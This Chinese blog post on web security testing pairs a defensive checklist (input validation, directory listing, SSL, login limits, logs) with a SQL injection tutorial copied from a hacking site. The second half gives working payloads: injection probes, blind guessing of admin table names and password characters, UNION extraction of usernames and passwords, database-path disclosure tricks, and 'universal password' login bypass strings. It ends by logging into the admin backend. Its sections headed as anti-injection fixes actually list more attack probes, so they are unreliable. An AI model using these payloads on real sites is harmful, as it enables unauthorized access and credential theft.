安全测试 -手工测试 

  手工测试方法-来自 http://www.51testing.com/html/83/n-201383.html

 

这里先说一下手动测试的两个出发点,所谓知己知彼,百战不殆,安全测试也要从正反两个方面出发来考虑。一是从己方也就是系统安全本身出发,确保其安全机制正确执行了它们的功能;还有就是从敌方也就是***者的角度出发,专门针对模拟***者的测试用例。综合这两点,总结了一些方法,由于阅读的资料和相关经验有限,可能不够全面,希望能在将来慢慢补充。

  首先是“输入校验”,输入是***者与系统最直接的接触方式,据统计,对于一个web应用,输入校验做的好能阻止90%~95%的***。那么应该怎样做好输入校验呢?可以参考以下几个步骤:

  1、找到web应用所有能够接受用户输入的地方,也就是找到所有输入点;

  2、逐个检查每个输入点,确认它们的相应的输入规则和边界。这里最好从合法输入入手,因为你不可能穷举出所有非法输入,但是可以列出所有合法输入;

  3、重点关注隐藏域的输入点,比如cookie和URL参数;

  4、验证来自数据库的信息,这点比较容易被忽视,因为一般都认为来自数据库的信息可信度是很高的,这也是为什么数据库容易成为***点;

  5、不光要在客户端进行校验,还要在服务器端进行校验,因为客户端可能会被恶意更改导致危险数据进入系统内部;

  6、注意隐藏异常信息,不要让这些信息成为***者的切入点。

  做完输入校验之后,系统相对来说已经比较安全了,然后再对一些常见的安全点进行测试,从网上总结出了如下一些测试点,可以根据需要选择测试:

  1、目录设置:每个目录下应该有index.html或main.html页面,这样就不会显示该目录下的所有内容。选中一幅图片,单击鼠标右键,看是否找到该图片所在的路径。若能找到,在浏览器地址栏中手工输入该路径,看是否发现该站点的信息。

  2、SSL:站点使用SSL进行安全传送。进入一个SSL站点是因为浏览器出现了警告消息,而且在地址栏中的HTTP变成HTTPS。开发部门使用了 SSL,测试人员需要确定是否有相应的替代页面。当用户进入或离开安全站点的时候,请确认有相应的提示信息。是否有连接时间限制?超过限制时间后出现什么情况?

  3、登录:验证系统阻止非法的用户名/口令登录,而能够通过有效登录。用户登录是否有次数限制?是否限制从某些IP地址登录?如果允许登录失败的次数为 3,你在第三次登录的时候输入正确的用户名和口令,能通过验证吗?口令选择有规则限制吗?  是否可以不登陆而直接浏览某个页面?是否有超时的限制,用户登陆后在一定时间内(例如15分钟)没有点击任何页面,是否需要重新登陆才能正常使用。

  4、日志文件:在后台,要注意验证服务器日志工作正常。日志是否记所有的事务处理?是否有恶意操作失败记录

手工注入的方法       http://www.jb51.net/hack/39731.html

  1、加入单引号 ’提交, 
结果:如果出现错误提示,则该网站可能就存在注入漏洞。 

2、数字型判断是否有注入; 语句:and 1=1 ;and 1=2 (经典)、' and '1'=1(字符型) 
结果:分别返回不同的页面,说明存在注入漏洞. 
分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询, 如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。 也就表明程序有注入漏洞 


防注入解决办法: 
1>使用or 2>1 ; or 1>2来进行判断 
结果:分别返回不同的页面,说明存在注入漏洞. 
分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为假。 记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面 ,说明存在注入点。 

2> 使用xor 1=1; xor 1=2 
结果:分别返回不同的页面,说明存在注入漏洞. 
分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。 记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确 页面,说明存在注入点。 

3>把and 1=1转换成URL编码形式后在提交 and 1=1 URL编码:%41%4E%44%20%%31%3D%31 

4>使用-1;-0 
分析:如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞. 

3、字符型判断是否有注入: 
语句:' and '1'=1;' and '1=2(经典) 
结果:分别返回不同的页面,说明存在注入漏洞. 
分析:加入' and '1'=1返回正确页面,加入' and '1=2返回错误页面,说明有注入漏同。 

防注入解决办法: 
在URL的地址后面加上'%2B'(字符型) 
分析:URL地址变为:news.asp?id=123'%2B',返回的页面和1同;加 上'2%2B'asdf,URL地址变为:news.asp?id=123'%2Basdf,返回的页面和1 不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。 

搜索型判断是否有注入: 
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。 
说明:加入如"&"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题。 
操作: 搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和 2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='% 将and 1=1 换成注入语句就可以了 

判断数据库类型: 
and user>0 
例如:showdetail.asp?id=49 ;and user>0 如果是ACCESS数据库,那么返回的错误里一般会有"Microsoft JET Database"关键定,如果是MSSQL数 据库的话返回的错误提示里一般会含有"SQL Server"关键了. 

猜表名 and exists (select * from 表名) 
说明:意思与上面一样,只是用的语名不一样。 

猜列名 and (select count(列名) from 表名)>0 
说明:如果我们输入的列名猜解正确否反回正常页面 

猜长度 and (select top 1 len(username) from admin)>0 
说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的长度 为正确。 

猜内容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii码1-128 
说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的数字正确。(可以使用折半法猜内容) 
折半法:最小值与最大值差的一半,比如输入50返正确,输入100返回错误,折半后输入75。 
两种常见爆库 
1、%5c 
2、conn.asp 

%5c暴库 把二级目录中间的/换成%5c EY: otherweb ... s.asp?BigClassName=职 责范围&BigClassType=1 如果你能看到:’E:\ahttc040901 \otherweb\dz\database\iXuEr_Studio.asa’不是一 个有效的 路径。 确定路径名称拼写是否正确, 以及是否 连接到文件存放的服务器。 这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行 . 
conn.asp暴库 这个也是比较老的漏洞,利用价值不大 


常见的:'or'='or'万能密码登陆 
’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有 : ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a 一个很老的利用方法,主要用于一些比较老的网站。 

联合查询注入(union查询) 
操作步骤: 
1>在正常语句后台加入 and 1=2 union select * form 表名,其中*号代表字段数量,从1一直追加 (and 1=2 union select 1,2,3,4 form 表名)如果字段数正确就会有暴错 
2>在页面显示数字的地方用真实得到的字段名代替,如:username,password. 
3>在页面字段值处暴出真实的数据库字段值。 



查找后台地址,找到后台用得到的用户管理员的帐户与密码进行登陆.